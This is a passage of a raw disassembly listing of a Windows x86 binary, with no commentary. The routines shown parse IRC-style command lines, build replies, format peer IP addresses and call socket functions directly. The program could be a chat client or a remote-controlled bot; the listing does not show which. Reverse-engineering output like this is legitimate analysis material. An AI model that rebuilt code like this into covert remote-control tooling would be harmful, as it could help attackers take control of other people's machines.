ecx, eax mov byte ptr [esp+2Ch+arg_246C], 25h call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 26h call sub_4017E4 push eax lea ecx, [esp+24h+arg_25C] call sub_401861 lea ecx, [esp+20h+arg_1FC] mov byte ptr [esp+20h+arg_246C], 29h call sub_401226 lea ecx, [esp+20h+arg_22C] mov byte ptr [esp+20h+arg_246C], 28h call sub_401226 mov ecx, offset byte_44742D mov [ebp+16h], bl call sub_4017E4 push eax mov ecx, offset dword_4473E4 call sub_4017E4 mov edx, dword_447104 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h lea ecx, [esp+20h+arg_25C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410FB0: ; CODE XREF: sub_40FF60+EC7j push offset asc_443600 ; " " lea eax, [esp+24h+arg_28C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447120 mov byte ptr [esp+20h+arg_246C], 2Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_28C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411168 push offset asc_443C94 ; ":" lea edx, [esp+24h+arg_2EC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443C88 ; "!" lea ecx, [esp+24h+arg_2BC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 2Bh call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 2Ch call sub_4017E4 push eax lea ecx, [esp+24h+arg_34] call sub_401861 lea ecx, [esp+20h+arg_2BC] mov byte ptr [esp+20h+arg_246C], 2Fh call sub_401226 lea ecx, [esp+20h+arg_2EC] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 push offset asc_443C84 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 mov esi, dword_50FAF8 push eax call esi ; strstr add esp, 8 test eax, eax jz loc_411153 push offset asc_443C84 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 push eax call esi ; strstr add esp, 8 lea ecx, [esp+20h+arg_64] push eax call sub_401861 push offset byte_446F70 lea ecx, [esp+24h+arg_34] mov byte ptr [esp+24h+arg_246C], 30h call sub_4012EE test eax, eax jz short loc_41113F push offset byte_446F70 lea ecx, [esp+24h+arg_64] call sub_4012EE test eax, eax jz short loc_41113F sub esp, 18h lea edx, [esp+38h+arg_34] mov ecx, esp mov [esp+38h+arg_C], esp push edx call sub_4014C9 mov ecx, offset word_448C9E call sub_401CD0 cmp eax, ebx jz short loc_41111B lea ecx, [esp+20h+arg_64] push ecx lea ecx, [eax+19h] call sub_401FBE loc_41111B: ; CODE XREF: sub_40FF60+11A9j push offset byte_4E6E85 lea ecx, [esp+24h+arg_34] call sub_401B72 test eax, eax jnz short loc_41113F lea edx, [esp+20h+arg_64] mov ecx, offset byte_4E6E85 push edx call sub_401FBE loc_41113F: ; CODE XREF: sub_40FF60+1173j ; sub_40FF60+1188j ... lea ecx, [esp+20h+arg_64] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 loc_411153: ; CODE XREF: sub_40FF60+1134j lea ecx, [esp+20h+arg_34] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_411168: ; CODE XREF: sub_40FF60+109Cj push offset asc_443600 ; " " lea eax, [esp+24h+arg_34C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447130 mov byte ptr [esp+20h+arg_246C], 31h push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_4111EF push offset asc_443600 ; " " lea edx, [esp+24h+arg_31C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447140 mov byte ptr [esp+20h+arg_246C], 32h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_31C] mov byte ptr [esp+20h+arg_246C], 31h setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_4111F4 loc_4111EF: ; CODE XREF: sub_40FF60+1238j mov [esp+20h+var_D], 1 loc_4111F4: ; CODE XREF: sub_40FF60+128Dj lea ecx, [esp+20h+arg_34C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_411327 push offset asc_443C94 ; ":" lea edx, [esp+24h+arg_37C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE sub esp, 18h mov byte ptr [esp+38h+arg_246C], 33h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_443C88 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE mov ecx, offset word_448C9E call sub_401CD0 lea ecx, [esp+20h+arg_37C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_411327 push offset asc_443C94 ; ":" lea edx, [esp+24h+arg_3DC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE sub esp, 18h mov byte ptr [esp+38h+arg_246C], 34h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_443C88 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+3Ch+arg_3AC] push 1 push edx lea ecx, [esp+44h+var_8] mov byte ptr [esp+44h+arg_246C], 35h call sub_4016AE sub esp, 18h mov byte ptr [esp+50h+arg_246C], 36h mov ecx, esp mov [esp+50h+var_C], esp push offset asc_443C88 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE mov ecx, offset word_448C9E mov byte ptr [esp+50h+arg_246C], 37h call sub_40210D lea ecx, [esp+20h+arg_3AC] mov byte ptr [esp+20h+arg_246C], 34h call sub_401226 lea ecx, [esp+20h+arg_3DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp short loc_411327 ; --------------------------------------------------------------------------- loc_411320: ; CODE XREF: sub_40FF60+391j mov ecx, ebp call sub_401D0C loc_411327: ; CODE XREF: sub_40FF60+1D3j ; sub_40FF60+253j ... cmp [ebp+17h], bl jnz loc_40FFA2 loc_411330: ; CODE XREF: sub_40FF60+3Cj ; sub_40FF60+4Fj lea ecx, [esp+20h+var_8] mov [esp+20h+arg_246C], 0FFFFFFFFh call sub_401226 mov ecx, [esp+20h+arg_2464] pop edi pop esi pop ebp xor eax, eax mov large fs:0, ecx pop ebx add esp, 2484h retn sub_40FF60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 500h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411860 proc near ; CODE XREF: sub_4010BEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411860 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_402054 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E038 mov dword ptr [esi+11h], 0 mov byte ptr [esi+0ABh], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411860 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4118E0: ; CODE XREF: ___:loc_40115Ej ; ___:004016EAj push esi mov esi, ecx call sub_40101E test byte ptr [esp+8], 1 jz short loc_4118F8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4118F8: ; CODE XREF: ___:004118EDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411910 proc near ; CODE XREF: sub_40101Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411910 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E038 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40196A mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411910 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411990 proc near ; CODE XREF: sub_402054j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411990 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+7Eh] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411990 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411A50 proc near ; CODE XREF: sub_40196Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411A50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+7Eh] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411A50 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411B10 proc near ; CODE XREF: sub_4019D3j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40196A test [esp+4+arg_0], 1 jz short loc_411B28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_411B28: ; CODE XREF: sub_411B10+Dj mov eax, esi pop esi retn 4 sub_411B10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_411B40 proc near ; CODE XREF: sub_401A0Aj var_3C = byte ptr -3Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411B40 push eax mov large fs:0, esp sub esp, 30h push ebx push esi mov esi, ecx push edi test esi, esi jz short loc_411B66 lea edi, [esi+11h] jmp short loc_411B68 ; --------------------------------------------------------------------------- loc_411B66: ; CODE XREF: sub_411B40+1Fj xor edi, edi loc_411B68: ; CODE XREF: sub_411B40+24j push 0 push 17h push 1 push 12h push 4Fh lea eax, [esp+5Ch+var_3C] push 9 push eax call sub_4019B5 add esp, 1Ch push edi mov ecx, eax mov [esp+4Ch+var_4], 0 call sub_4017E4 lea ecx, [esi+250h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_411B40 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411BBC lea ebx, [esi+11h] jmp short loc_411BBE ; --------------------------------------------------------------------------- loc_411BBC: ; CODE XREF: ___:00411BB5j xor ebx, ebx loc_411BBE: ; CODE XREF: ___:00411BBAj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 5 push 12h push 4Fh lea edx, [esp+38h] push 9 push edx call sub_4019B5 add esp, 34h push ebx mov ecx, eax mov dword ptr [esp+48h], 1 call sub_4017E4 push eax lea eax, [esi+27Eh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C1B lea ebx, [esi+11h] jmp short loc_411C1D ; --------------------------------------------------------------------------- loc_411C1B: ; CODE XREF: ___:00411C14j xor ebx, ebx loc_411C1D: ; CODE XREF: ___:00411C19j push 0 push 14h push 12h push 1 push 10h push 4Fh lea ecx, [esp+24h] push 9 push ecx call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 2 call sub_4017E4 lea edx, [esi+1C6h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C70 lea ebx, [esi+11h] jmp short loc_411C72 ; --------------------------------------------------------------------------- loc_411C70: ; CODE XREF: ___:00411C69j xor ebx, ebx loc_411C72: ; CODE XREF: ___:00411C6Ej push 0 push 5 push 4 push 0Fh push 0Dh push 4Fh lea eax, [esp+24h] push 9 push eax call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 3 call sub_4017E4 lea ecx, [esi+16Ah] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411CC5 lea ebx, [esi+11h] jmp short loc_411CC7 ; --------------------------------------------------------------------------- loc_411CC5: ; CODE XREF: ___:00411CBEj xor ebx, ebx loc_411CC7: ; CODE XREF: ___:00411CC3j push 0 push 7 push 13h push 0Dh push 4Fh lea edx, [esp+20h] push 9 push edx call sub_4019B5 add esp, 1Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 4 call sub_4017E4 push eax lea eax, [esi+1F4h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D18 lea ebx, [esi+11h] jmp short loc_411D1A ; --------------------------------------------------------------------------- loc_411D18: ; CODE XREF: ___:00411D11j xor ebx, ebx loc_411D1A: ; CODE XREF: ___:00411D16j push 0 push 5 push 3 push 9 push 14h push 0Fh push 0Eh push 4Fh lea ecx, [esp+2Ch] push 9 push ecx call sub_4019B5 add esp, 28h push ebx mov ecx, eax mov dword ptr [esp+48h], 5 call sub_4017E4 lea edx, [esi+0B2h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D71 lea ebx, [esi+11h] jmp short loc_411D73 ; --------------------------------------------------------------------------- loc_411D71: ; CODE XREF: ___:00411D6Aj xor ebx, ebx loc_411D73: ; CODE XREF: ___:00411D6Fj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 13h push 9 push 4 push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019B5 add esp, 38h push ebx mov ecx, eax mov dword ptr [esp+48h], 6 call sub_4017E4 lea ecx, [esi+56h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411DCF lea ebx, [esi+11h] jmp short loc_411DD1 ; --------------------------------------------------------------------------- loc_411DCF: ; CODE XREF: ___:00411DC8j xor ebx, ebx loc_411DD1: ; CODE XREF: ___:00411DCDj push 0 push 14h push 13h push 0Fh push 8 push 14h push 5 push 7 push 4Fh lea edx, [esp+30h] push 9 push edx call sub_4019B5 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 7 call sub_4017E4 push eax lea eax, [esi+10Eh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E2A lea ebx, [esi+11h] jmp short loc_411E2C ; --------------------------------------------------------------------------- loc_411E2A: ; CODE XREF: ___:00411E23j xor ebx, ebx loc_411E2C: ; CODE XREF: ___:00411E28j push 0 push 0Fh push 6 push 0Eh push 9 push 14h push 5 push 0Eh push 4Fh lea ecx, [esp+30h] push 9 push ecx call sub_4019B5 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 8 call sub_4017E4 lea edx, [esi+198h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E85 lea ebx, [esi+11h] jmp short loc_411E87 ; --------------------------------------------------------------------------- loc_411E85: ; CODE XREF: ___:00411E7Ej xor ebx, ebx loc_411E87: ; CODE XREF: ___:00411E83j push 0 push 0Eh push 9 push 0Fh push 0Ah push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 9 call sub_4017E4 add esi, 13Ch push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+44h], edi call sub_401226 mov ecx, [esp+3Ch] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411FE0 proc near ; CODE XREF: sub_401AB9j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411FE0 push eax mov large fs:0, esp sub esp, 78h push ebx push ebp push esi mov esi, [esp+90h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+45h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_412509 lea ecx, [edi+26Dh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_412509 lea ecx, [edi+0A1h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4120E2 push offset asc_443600 ; " " lea eax, [esp+98h+var_6C] push 2 push eax mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 1 xor ebx, ebx push ecx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 1 call sub_4017E4 push eax mov ecx, esi call sub_4017E4 mov edx, dword_447100 push eax push edx add edi, 0FFFFFFEFh push offset dword_443CEC push edi call sub_401E0B add esp, 14h lea ecx, [esp+94h+var_84] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_4120E2: ; CODE XREF: sub_411FE0+70j lea ecx, [edi+187h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_412159 add edi, 0FFFFFFEFh lea eax, [esp+94h+var_6C] push eax mov ecx, edi call sub_401D39 mov ecx, eax mov [esp+94h+var_4], 2 call sub_4017E4 push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push edi call sub_401848 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_412159: ; CODE XREF: sub_411FE0+117j lea ecx, [edi+0FDh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412214 push offset asc_443600 ; " " lea eax, [esp+98h+var_6C] push 1 push eax mov ecx, esi call sub_4016AE push eax lea ecx, [edi+17h] mov [esp+98h+var_4], 3 call sub_4018A2 or ebp, 0FFFFFFFFh lea ecx, [esp+94h+var_6C] mov ebx, eax mov [esp+94h+var_4], ebp call sub_401226 test ebx, ebx jz loc_412532 lea ecx, [esp+94h+var_6C] add edi, 0FFFFFFEFh push ecx mov ecx, edi call sub_401D39 mov ecx, eax mov [esp+94h+var_4], 4 call sub_4017E4 push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push edi call sub_401848 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], ebp call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_412214: ; CODE XREF: sub_411FE0+18Ej lea ecx, [edi+12Bh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4122BD push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 2 push ecx mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea edx, [esp+98h+var_6C] mov ebx, 5 push 1 push edx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 6 call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax mov eax, dword_447104 push eax add edi, 0FFFFFFEFh push offset aSSS_0 ; "%s %s %s\r\n" push edi call sub_401E0B add esp, 14h lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_4122BD: ; CODE XREF: sub_411FE0+249j lea ecx, [edi+1B5h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41232B push offset asc_443600 ; " " lea ecx, [esp+98h+var_6C] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+94h+var_4], 7 call sub_4017E4 mov edx, dword_447130 push eax push edx add edi, 0FFFFFFEFh push offset aSS_0 ; "%s %s\r\n" push edi call sub_401E0B add esp, 10h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41232B: ; CODE XREF: sub_411FE0+2F2j lea ecx, [edi+23Fh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41238D lea eax, [esp+94h+var_6C] push 9 push eax mov ecx, esi call sub_401E2E mov ecx, eax mov [esp+94h+var_4], 8 call sub_4017E4 push eax add edi, 0FFFFFFEFh push offset dword_443CE4 push edi call sub_401E0B add esp, 0Ch lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41238D: ; CODE XREF: sub_411FE0+360j lea ecx, [edi+1E3h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41242D push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 1 push ecx mov ecx, esi call sub_4016AE mov ebp, eax push 1 push offset asc_443600 ; " " lea edx, [esp+9Ch+var_6C] push 2 push edx mov ecx, esi mov [esp+0A4h+var_4], 9 call sub_4011EA mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Ah call sub_4014D3 push eax mov ecx, esi call sub_4014D3 xor ebx, ebx push eax push ebx push ebx lea ecx, [edi-11h] call sub_401118 lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 9 call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41242D: ; CODE XREF: sub_411FE0+3C2j lea ecx, [edi+159h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412532 push offset asc_443600 ; " " lea eax, [esp+98h+var_24] push 3 push eax mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea ecx, [esp+98h+var_3C] push 2 push ecx mov ecx, esi mov [esp+0A0h+var_4], 0Bh call sub_4016AE mov ebx, eax push offset asc_443600 ; " " lea edx, [esp+98h+var_54] push 1 push edx mov ecx, esi mov byte ptr [esp+0A0h+var_4], 0Ch call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Dh call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax mov eax, dword_447134 push eax add edi, 0FFFFFFEFh push offset dword_443CD4 push edi call sub_401E0B add esp, 18h lea ecx, [esp+94h+var_54] mov byte ptr [esp+94h+var_4], 0Ch call sub_401226 lea ecx, [esp+94h+var_3C] mov byte ptr [esp+94h+var_4], 0Bh call sub_401226 lea ecx, [esp+94h+var_24] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_412532 ; --------------------------------------------------------------------------- loc_412509: ; CODE XREF: sub_411FE0+3Aj ; sub_411FE0+55j xor ebx, ebx mov [edi+0Fh], ebx mov [edi+0Bh], ebx mov [edi+5], bl mov [edi+4], bl mov ecx, [edi+7] push ecx nop call near ptr 71AB9639h mov ecx, offset word_448C9E mov dword ptr [edi+7], 0FFFFFFFFh call sub_401537 loc_412532: ; CODE XREF: sub_411FE0+FDj ; sub_411FE0+174j ... mov ecx, [esp+94h+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 84h retn 4 sub_411FE0 endp ; --------------------------------------------------------------------------- db 90h db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4126B0 proc near ; CODE XREF: sub_401D39j var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4126B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 40h push esi mov esi, ecx lea ecx, [esp+50h+var_24] mov [esp+50h+var_48], 0 call sub_401424 xor eax, eax lea ecx, [esp+50h+var_4C] mov [esp+50h+var_44], eax lea edx, [esp+50h+var_44] mov [esp+50h+var_40], eax push ecx mov [esp+54h+var_3C], eax push edx mov [esp+58h+var_38], eax mov eax, [esi+18h] push eax mov [esp+5Ch+var_4], 1 mov [esp+5Ch+var_4C], 10h call near ptr 71AB951Eh nop mov ecx, [esp+50h+var_40+3] mov edx, [esp+50h+var_40+2] mov eax, [esp+50h+var_40+1] and ecx, 0FFh push ecx mov ecx, [esp+54h+var_40] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+60h+var_34] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call sub_5EDAB2 add esp, 18h lea ecx, [esp+50h+var_24] push offset byte_446F70 call sub_4015D7 push offset dword_443D18 lea ecx, [esp+54h+var_24] call sub_401A9B lea eax, [esp+50h+var_34] lea ecx, [esp+50h+var_24] push eax call sub_401A9B push offset dword_443D14 lea ecx, [esp+54h+var_24] call sub_401A9B add esi, 28h lea ecx, [esp+50h+var_24] push esi call sub_4016BD push offset dword_443D14 lea ecx, [esp+54h+var_24] call sub_401A9B lea ecx, [esp+50h+var_34] push ecx call sub_401479 add esp, 4 test al, al jz short loc_4127BB push offset dword_443D08 jmp short loc_4127C0 ; --------------------------------------------------------------------------- loc_4127BB: ; CODE XREF: sub_4126B0+102j push offset dword_443CFC loc_4127C0: ; CODE XREF: sub_4126B0+109j lea ecx, [esp+54h+var_24] call sub_401A9B mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_24] push edx mov ecx, esi call sub_4014C9 mov [esp+50h+var_48], 1 lea ecx, [esp+50h+var_24] mov byte ptr [esp+50h+var_4], 0 call sub_401226 mov ecx, [esp+50h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 4Ch retn 4 sub_4126B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412870 proc near ; CODE XREF: sub_401582j arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] push esi mov esi, ecx push edi mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+18h] push 0 not ecx dec ecx push ecx push ebp push eax call near ptr 71AB428Ah nop mov edx, eax mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp edx, ecx jnb short loc_4128CE mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_448C9E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401537 pop edi pop esi xor al, al pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4128CE: ; CODE XREF: sub_412870+33j pop edi pop esi mov al, 1 pop ebp retn 4 sub_412870 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412900 proc near ; CODE XREF: sub_401E0Bj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 